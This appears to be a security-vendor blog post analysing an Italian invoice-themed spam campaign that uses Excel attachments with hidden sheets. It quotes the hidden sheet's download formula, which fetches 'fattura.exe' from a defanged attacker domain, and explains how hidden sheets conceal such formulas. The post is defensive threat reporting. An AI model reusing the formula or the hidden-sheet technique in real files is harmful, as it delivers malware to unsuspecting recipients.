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Excel Files with Hidden Sheets Target Users in Italy

A spam campaign using emails that have Excel file (.xls) attachments has been seen circulating and targeting users in Italy.

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Insights and analysis by Matthew John Camacho

A spam campaign using emails that have Excel file (.xls) attachments (detected by Trend Micro as Trojan.XF.HIDDBOOK.THDBHBO) has been seen circulating and targeting users in Italy and some users in Germany and other countries. The attachment appears blank when opened, but it has a sheet set to โ€œhiddenโ€ that attempts to connect to a URL and download a file. Setting sheets to hidden is a documented feature.

Some of the subjects of the spam emails written in Italian involve topics such as the availability of a free service, correcting information, invoice details, order completion, and service assistance. The sample shown below informs the receiver that their order has been completed, and comes with the attachment โ€œfattura_10.xls.โ€ Fattura is an Italian word that means invoice.

Figure 1. Sample Italian email propagating .xls attachments with hidden sheets
Figure 1. Sample Italian email propagating .xls attachments with hidden sheets
Figure 2. Opened .xls attachment
Figure 2. Opened .xls attachment

Upon downloading and opening the attachment, a prompt to โ€œEnable Contentโ€ appears. At first glance, the Excel file appears empty.ย Once enabled, the file will attempt to connect to a URL and download another file through the formula โ€œ=FORMULA(โ€œhxxp://gstat.dondyablo[.]com/fattura.exeโ€, $BB$54โ€. Note that the hidden sheet still wonโ€™t show itself even after enabling the content.

Figure 3. Hidden formula in the .xls file
Figure 3. Hidden formula in the .xls file

The hidden sheet can be manually unhidden, as it is only set to hidden and not to โ€œvery hidden.โ€ Very hidden sheets are not accessible via the Excel user interface unless another tool is used. Hidden sheets and formulas can be used to potentially download malicious files and connect to suspicious domains, opening more possibilities for the threat actors.

Figure 4. Unhiding the hidden sheet

We recently saw a similar campaign using a malicious Microsoft Excel 4.0 Macro sheet with a suspicious formula that is set to โ€œvery hidden.โ€ It was also propagated through spam emails.

Defense against spam

Spam email is one of the vehicles cybercriminals use to spread malicious files. Users can defend against these types of threats with the following best practices:

  • Be wary of downloading attachments or clicking links in emails coming from unfamiliar sources. Hover the pointer over a link to check the linkโ€™s URL.
  • Check the email address of the sender. If it is unfamiliar or is not linked to a reputed organization, it is best not to perform any action related to the email.
  • Watch out for grammatical errors and misspellings in the email body. Emails from legitimate companies are usually well-constructed.
  • Keep email addresses and other personal information private. This lessens the chances of receiving spam emails.

Security solutions can also help safeguard against spam and other email-based threats:

Indicators of Compromise

For the list of IoCs, please refer to this document.